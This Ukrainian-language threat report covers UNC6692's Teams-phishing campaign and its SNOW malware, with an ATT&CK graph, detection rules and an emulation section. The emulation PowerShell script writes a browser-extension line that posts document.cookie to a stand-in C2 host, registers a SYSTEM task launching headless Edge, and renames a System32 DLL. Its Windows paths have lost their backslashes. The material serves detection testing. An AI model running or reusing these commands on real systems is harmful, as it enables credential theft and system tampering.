UNC6692 розгортає нестандартне шкідливе ПЗ через соціальну інженерію
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
UNC6692 здійснила багатоступеневе проникнення, яке почалося з фішингового посилання, відправленого через Microsoft Teams, доставило шкідливий AutoHotKey-пейлоад і розгорнуло користувацький модульний набір шкідливих програм, відомих під назвою SNOW, включаючи SNOWBELT, SNOWGLAZE і SNOWBASIN. Операція також використовувала шахрайське розширення для браузера Chromium, утиліту тунелювання на основі Python і локальну HTTP-задню двері для забезпечення латеральних переміщень, крадіжки облікових даних і ексфільтрації даних через хмарні сервіси. Кампанія відзначилася ефективним зловживанням легітимною хмарною інфраструктурою та механізмами стійкості на основі браузера. Виявлення цієї активності вимагає ретельного моніторингу незвичайної поведінки розширень браузера, запланованих завдань, які запускають Edge в безголосому режимі, і підозрілих доступів до хмарних сервісів зберігання даних.
Розслідування
Група розвідки загроз Google виявила кампанію через аналіз записів чату Teams, захоплених сценаріїв AutoHotKey, конфігурацій запланованих завдань і мережевого трафіку, що включає AWS S3 і хостинговий на Heroku сервер WebSocket. Аналіз шкідливих програм виявив родину SNOW, її внутрішні компоненти, шаблони комунікації і використання атакантами PsExec разом з інструментами для зливу облікових даних. Слідчі також підтвердили крадіжку пам’яті LSASS і файлів бази даних Active Directory, які були ексфільтровані через LimeWire.
Пом’якшення
Захисники повинні застосовувати строгі політики білого списку для розширень браузера, моніторити запуск Microsoft Edge з параметрами безголового режиму або пов’язаними з розширенням, і блокувати доступ до непідтверджених кошиків AWS S3 і доменів Heroku. Впровадження багатофакторної аутентифікації для привілейованих облікових записів і відстеження виконання PsExec і доступу до LSASS можуть допомогти обмежити крадіжку облікових даних і латеральний рух. Заплановані завдання і ярлики на автозапуск повинні перевірятися регулярно для виявлення несанкціонованої стійкості.
Відповідь
Якщо виявлено будь-який компонент SNOW, негайно ізолюйте уражену систему, завершіть підозрілі процеси Edge і AutoHotKey, і зберіть пам’ять для судової експертизи, пов’язаної з LSASS. Блокуйте відомі домени керування і контролю та IP-адреси, видаліть шкідливі розширення браузера і змініть облікові дані для привілейованих облікових записів. Потім слід виконати повне мережеве сканування для виявлення додаткових скомпрометованих хостів разом з перевіркою запланованих завдань і елементів автозапуску на наявність стійкості.
"graph TB %% Class definitions classDef technique fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ffcc99 classDef operator fill:#ff9900 %% Technique nodes tech_phishing["<b>Technique</b> – <b>T1566.002 Phishing: Spearphishing Link via Microsoft Teams</b><br/><b>Description</b>: Adversary delivers a malicious link through Microsoft Teams to target users."] class tech_phishing technique tech_user_exec["<b>Technique</b> – <b>T1204.001 User Execution: Click malicious link</b><br/><b>Description</b>: Victim clicks the malicious link, triggering execution."] class tech_user_exec technique tech_ahk["<b>Technique</b> – <b>T1059.010 Command and Scripting Interpreter: AutoHotkey/AutoIT</b><br/><b>Description</b>: Executes AutoHotkey binary and script to run further code."] class tech_ahk technique tech_python["<b>Technique</b> – <b>T1059.006 Command and Scripting Interpreter: Python</b><br/><b>Description</b>: Runs Python loaders for additional modules."] class tech_python technique tech_ext["<b>Technique</b> – <b>T1176 Software Extensions: Install Chromium Extension</b><br/><b>Description</b>: Installs a malicious browser extension to maintain persistence."] class tech_ext technique tech_schedtask["<b>Technique</b> – <b>T1053.005 Scheduled Task: Launch Headless Edge</b><br/><b>Description</b>: Creates scheduled tasks to start Edge with the malicious extension."] class tech_schedtask technique tech_shortcut["<b>Technique</b> – <b>T1547.009 Shortcut Modification</b><br/><b>Description</b>: Places a shortcut in the Startup folder for automatic execution."] class tech_shortcut technique tech_ingress["<b>Technique</b> – <b>T1105 Ingress Tool Transfer</b><br/><b>Description</b>: Downloads additional payloads such as SNOWGLAZE and SNOWBASIN."] class tech_ingress technique tech_obfuscate["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Encodes payloads with Base64 and encrypts with AESu2011GCM."] class tech_obfuscate technique tech_archive["<b>Technique</b> – <b>T1560 Archive Collected Data</b><br/><b>Description</b>: Encrypts and stages data before exfiltration."] class tech_archive technique tech_encchannel["<b>Technique</b> – <b>T1573.001 Encrypted Channel: Symmetric Cryptography</b><br/><b>Description</b>: Uses AESu2011GCM for encrypted communications."] class tech_encchannel technique tech_tunnel["<b>Technique</b> – <b>T1572 Protocol Tunneling</b><br/><b>Description</b>: Establishes a WebSocket tunnel to a Heroku commandu2011andu2011control server."] class tech_tunnel technique tech_appproto["<b>Technique</b> – <b>T1071.001 Application Layer Protocol: WebSocket</b><br/><b>Description</b>: Communicates with C2 over WebSocket applicationu2011layer protocol."] class tech_appproto technique tech_proxy["<b>Technique</b> – <b>T1090 Proxy</b><br/><b>Description</b>: Utilizes the tunnel as a proxy to route traffic."] class tech_proxy technique tech_psexec["<b>Technique</b> – <b>T1021.002 SMB/Windows Admin Shares: PsExec</b><br/><b>Description</b>: Executes remote processes via SMB admin shares for lateral movement."] class tech_psexec technique tech_cred_dump["<b>Technique</b> – <b>T1003 OS Credential Dumping</b><br/><b>Description</b>: Extracts credentials from LSASS memory."] class tech_cred_dump technique tech_pass_hash["<b>Technique</b> – <b>T1550.002 Pass the Hash</b><br/><b>Description</b>: Uses captured NTLM hashes to authenticate to other systems."] class tech_pass_hash technique tech_rdp["<b>Technique</b> – <b>T1021.001 Remote Desktop Protocol</b><br/><b>Description</b>: Connects via RDP to backup server and domain controller."] class tech_rdp technique tech_exfil["<b>Technique</b> – <b>T1567.002 Exfiltration to Cloud Storage</b><br/><b>Description</b>: Uploads harvested AD database files to Amazon S3."] class tech_exfil technique %% Tool nodes tool_ahk_binary["<b>Tool</b> – <b>Name</b>: AutoHotkey binary<br/><b>Description</b>: Executes compiled AHK scripts."] class tool_ahk_binary tool tool_python_runtime["<b>Tool</b> – <b>Name</b>: Python interpreter<br/><b>Description</b>: Runs Python-based loaders."] class tool_python_runtime tool tool_edge_headless["<b>Tool</b> – <b>Name</b>: Microsoft Edge (headless)<br/><b>Description</b>: Browser used to execute malicious extension."] class tool_edge_headless tool tool_snowglaze["<b>Tool</b> – <b>Name</b>: SNOWGLAZE loader<br/><b>Description</b>: Downloads and launches additional modules."] class tool_snowglaze tool tool_snowbasin["<b>Tool</b> – <b>Name</b>: SNOWBASIN loader<br/><b>Description</b>: Secondary loader used after SNOWGLAZE."] class tool_snowbasin tool tool_snowbelt_ext["<b>Tool</b> – <b>Name</b>: SNOWBELT Chromium extension<br/><b>Description</b>: Provides persistence and data collection in the browser."] class tool_snowbelt_ext tool tool_psexec["<b>Tool</b> – <b>Name</b>: PsExec<br/><b>Description</b>: Executes processes on remote Windows hosts via admin shares."] class tool_psexec tool %% Malware nodes malware_snowglaze["<b>Malware</b> – <b>Name</b>: SNOWGLAZE<br/><b>Description</b>: Loader that creates WebSocket tunnel and encrypts traffic."] class malware_snowglaze malware malware_snowbasin["<b>Malware</b> – <b>Name</b>: SNOWBASIN<br/><b>Description</b>: Secondary payload that assists in data staging."] class malware_snowbasin malware malware_snowbelt["<b>Malware</b> – <b>Name</b>: SNOWBELT extension<br/><b>Description</b>: Chromium extension used for persistence and exfiltration."] class malware_snowbelt malware %% Attack flow connections tech_phishing –>|leads_to| tech_user_exec tech_user_exec –>|triggers| tech_ahk tech_ahk –>|uses| tool_ahk_binary tech_ahk –>|executes| tech_python tech_python –>|uses| tool_python_runtime tech_python –>|downloads| tool_snowglaze tech_python –>|downloads| tool_snowbasin tool_snowglaze –>|installs| malware_snowglaze tool_snowbasin –>|installs| malware_snowbasin malware_snowglaze –>|creates| tech_ext tech_ext –>|installs| tool_snowbelt_ext tool_snowbelt_ext –>|installs| malware_snowbelt tech_ext –>|enables| tech_schedtask tech_schedtask –>|launches| tool_edge_headless tech_ext –>|enables| tech_shortcut tech_shortcut –>|adds| op_shortcut_startup(("Startup shortcut")) class op_shortcut_startup operator tech_user_exec –>|downloads| tech_ingress tech_ingress –>|delivers| tech_obfuscate tech_obfuscate –>|prepares| tech_archive tech_archive –>|protects| tech_encchannel tech_encchannel –>|protects| tech_tunnel tech_tunnel –>|uses| tech_appproto tech_tunnel –>|acts_as| tech_proxy tech_proxy –>|routes| tech_psexec tech_psexec –>|uses| tool_psexec tool_psexec –>|executes| tech_cred_dump tech_cred_dump –>|provides| tech_pass_hash tech_pass_hash –>|enables| tech_rdp tech_rdp –>|connects_to| tech_exfil "
Потік атаки
Виявлення
Підозріле виконання Taskkill (via cmdline)
Перегляд
Можлива спроба виконання скрипта AutoHotkey (via cmdline)
Перегляд
Підозрілі бінарні файли / скрипти в автозапуску (via file_event)
Перегляд
Підозрілий зв’язок із доменом Herokuapp (via proxy)
Перегляд
Підозрілий зв’язок із доменом Herokuapp (via dns)
Перегляд
IOCs (HashSha256) для виявлення: Снігова завірюха: як UNC6692 використала соціальну інженерію для розгортання призначеного для користувацького шкідливого програмного забезпечення
Перегляд
Виявлення виконання скриптів UNC6692 AutoHotKey та Python [Створення процесів Windows]
Перегляд
Аномалії запланованих завдань UNC6692 та процесів Microsoft Edge [Журнал безпеки Windows]
Перегляд
Виконання симуляції
Передумова: Перевірка телеметрії та базова перевірка перед польотом повинні пройдені успішно.
Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та оповідь МАЮТЬ прямо відображати виявлені TTP та націлюватися на генерацію очікуваної телеметрії від логіки виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Оповідь атаки та команди:
- Мета: Встановити постійну, непомітну виконувальність Snowbelt на базі браузера на хості жертви.
- Метод: Зареєструвати заплановане завдання, яке запускає Microsoft Edge у безголовому режимі з шкідливим розширенням Snowbelt (
C:TempSnowbelt). Розширення завантажує шкідливий JavaScript, який контактує із C2 та ексфільтрує дані. - Індикатор очищення: Після запуску пейлоада атакант видаляє
CoreUIComponents.dllз кешу DLL системи, щоб уникнути виявлення “здорового” процесу Edge; процес edge продовжує працювати, але модуль відсутній, задовольняючи другий пункт правила.
-
Регресійний тест-скрипт:
# Імітація UNC6692 – створює шкідливе заплановане завдання та запускає Edge без CoreUIComponents.dll # ------------------------------------------------------------------------- # 1️⃣ Визначити змінні $edgePath = "$Env:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe" $extPath = "C:TempSnowbelt" $taskName = "SnowbeltEdgeTask" $arguments = "--headless --load-extension=`"$extPath`"" $taskUser = "SYSTEM" # 2️⃣ Забезпечити існування папки розширення (імітація пейлоада) New-Item -ItemType Directory -Force -Path $extPath | Out-Null Set-Content -Path "$extPathmanifest.json" -Value '{"name":"Snowbelt","version":"1.0","manifest_version":2,"background":{"scripts":["snow.js"]}}' -Encoding UTF8 Set-Content -Path "$extPathsnow.js" -Value 'fetch("http://malicious.c2/collect", {method:"POST", body:document.cookie});' -Encoding UTF8 # 3️⃣ Зареєструвати шкідливе заплановане завдання $action = New-ScheduledTaskAction -Execute $edgePath -Argument $arguments $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -User $taskUser -Force # 4️⃣ Запустити завдання негайно для генерації телеметрії Start-ScheduledTask -TaskName $taskName # 5️⃣ Видалити CoreUIComponents.dll з працюючого процесу Edge (імітація) # Примітка: у реальному середовищі це б вимагало хіджекінгу DLL або патчінгу пам'яті процесу. # Тут ми просто видаляємо файл, щоб перевірка списку завдань не виявила його. $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" if (Test-Path $dllPath) { Rename-Item -Path $dllPath -NewName "CoreUIComponents.dll.bak" -Force } # 6️⃣ Переконатися, що Edge працює, а DLL відсутня $proc = Get-Process -Name "msedge" -ErrorAction SilentlyContinue if ($proc) { Write-Host "Edge process PID $($proc.Id) launched with malicious extension." } -
Команди очищення:
# Видалити заплановане завдання Unregister-ScheduledTask -TaskName "SnowbeltEdgeTask" -Confirm:$false # Відновити CoreUIComponents.dll, якщо воно було перейменовано $dllPath = "$Env:SystemRootSystem32CoreUIComponents.dll" $backup = "$Env:SystemRootSystem32CoreUIComponents.dll.bak" if (Test-Path $backup) { Rename-Item -Path $backup -NewName "CoreUIComponents.dll" -Force } # Видалити файли імітованого розширення Remove-Item -Path "C:TempSnowbelt" -Recurse -Force